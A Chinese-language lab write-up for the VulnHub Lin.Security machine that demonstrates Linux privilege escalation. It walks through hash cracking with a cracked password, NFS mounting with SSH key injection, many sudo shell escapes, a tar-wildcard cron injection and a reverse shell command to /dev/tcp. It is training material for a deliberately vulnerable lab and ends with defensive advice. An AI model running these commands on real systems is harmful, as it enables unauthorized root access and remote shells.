[vulnhub]Lin.Security主机Linux提权
字数 758 2025-08-20 18:18:23

Linux提权技术深度解析:从基础到实战

1. 哈希破解与密码获取

1.1 哈希识别与破解

在Linux系统中,/etc/passwd/etc/shadow文件存储了用户账户信息。当获取到哈希值时:

  1. 识别哈希类型

    hash-identifier AzER3pBZh6WZE
    
  2. 使用Hashcat破解

    hashcat -m 1500 -a 0 hash /usr/share/wordlists/rockyou.txt --force
    
    • -m 1500:指定DES(Unix)哈希类型
    • -a 0:使用字典攻击模式
    • --force:强制运行(在某些系统上可能需要)

1.2 获取的凭证格式

username:insecurity
password:AzER3pBZh6WZE:P@ssw0rd

2. NFS利用技术

2.1 NFS共享发现与挂载

  1. 发现NFS共享

    showmount -e 192.168.8.104
    
  2. 创建挂载点并挂载

    sudo mkdir /mnt/lin_peter
    sudo mount 192.168.8.104:/home/peter /mnt/lin_peter -o vers=3
    

2.2 通过NFS实现权限提升

  1. 创建匹配UID的用户

    sudo adduser -u 1001 peter
    
  2. SSH密钥注入

    su peter
    ssh-keygen -t ssh-rsa
    mkdir /mnt/lin_peter/.ssh/
    cp ~/.ssh/id_rsa.pub /mnt/lin_peter/.ssh/authorized_keys
    ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i ~/.ssh/id_rsa peter@192.168.8.104
    

3. Sudo提权技术

3.1 检查sudo权限

sudo -l

3.2 常见sudo提权方法

  1. 直接shell访问

    sudo /bin/bash
    sudo /bin/sh
    sudo /bin/ash
    sudo /bin/dash
    sudo /bin/csh
    sudo /bin/zsh
    
  2. 通过环境变量提权

    sudo env /bin/sh
    
  3. 通过文本编辑器提权

    sudo vi -c ':!/bin/sh' /dev/null
    sudo pico
    ^R^X
    reset; sh 1>&0 2>&0
    
  4. 通过脚本语言提权

    sudo perl -e 'exec "/bin/sh";'
    sudo tclsh
    exec /bin/sh <@stdin >@stdout 2>@stderr
    
  5. 通过Git提权

    TF=$(mktemp -d)
    ln -s /bin/sh "$TF/git-x"
    sudo git "--exec-path=$TF" x
    
  6. 通过find命令提权

    sudo find . -exec /bin/sh \; -quit
    
  7. 通过socat提权

    sudo socat stdin exec:/bin/sh
    
  8. 通过SSH提权

    sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
    
  9. 通过man命令提权

    sudo man man
    !/bin/sh
    
  10. 通过less/more提权

    sudo less /etc/profile
    !/bin/sh
    
    TERM= sudo more /etc/profile
    !/bin/sh
    

4. 定时任务提权

4.1 检查定时任务

crontab -l

4.2 利用定时任务执行恶意代码

  1. 创建反向shell脚本

    echo '/bin/bash -i >& /dev/tcp/192.168.8.103/10032 0>&1' > reverse.sh
    chmod +x reverse.sh
    
  2. 利用tar的checkpoint特性

    echo "" > --checkpoint=1
    echo "" > "--checkpoint-action=exec=sh reverse.sh"
    

5. strace提权技术

sudo strace -o /dev/null /bin/sh

6. 防御措施

  1. 最小权限原则:限制sudo权限,只授予必要的命令
  2. 定期审计:检查sudoers文件和crontab
  3. NFS安全:限制NFS共享的访问权限
  4. 哈希安全:使用强密码和加盐哈希
  5. 更新系统:及时修补已知漏洞

7. 总结

本文详细介绍了多种Linux提权技术,包括:

  • 哈希破解
  • NFS共享利用
  • Sudo权限滥用
  • 定时任务注入
  • strace提权

每种技术都有其特定的应用场景和限制条件,安全人员应了解这些技术以更好地防御系统。

Linux提权技术深度解析:从基础到实战 1. 哈希破解与密码获取 1.1 哈希识别与破解 在Linux系统中, /etc/passwd 和 /etc/shadow 文件存储了用户账户信息。当获取到哈希值时: 识别哈希类型 : 使用Hashcat破解 : -m 1500 :指定DES(Unix)哈希类型 -a 0 :使用字典攻击模式 --force :强制运行(在某些系统上可能需要) 1.2 获取的凭证格式 2. NFS利用技术 2.1 NFS共享发现与挂载 发现NFS共享 : 创建挂载点并挂载 : 2.2 通过NFS实现权限提升 创建匹配UID的用户 : SSH密钥注入 : 3. Sudo提权技术 3.1 检查sudo权限 3.2 常见sudo提权方法 直接shell访问 : 通过环境变量提权 : 通过文本编辑器提权 : 通过脚本语言提权 : 通过Git提权 : 通过find命令提权 : 通过socat提权 : 通过SSH提权 : 通过man命令提权 : 通过less/more提权 : 4. 定时任务提权 4.1 检查定时任务 4.2 利用定时任务执行恶意代码 创建反向shell脚本 : 利用tar的checkpoint特性 : 5. strace提权技术 6. 防御措施 最小权限原则 :限制sudo权限,只授予必要的命令 定期审计 :检查sudoers文件和crontab NFS安全 :限制NFS共享的访问权限 哈希安全 :使用强密码和加盐哈希 更新系统 :及时修补已知漏洞 7. 总结 本文详细介绍了多种Linux提权技术,包括: 哈希破解 NFS共享利用 Sudo权限滥用 定时任务注入 strace提权 每种技术都有其特定的应用场景和限制条件,安全人员应了解这些技术以更好地防御系统。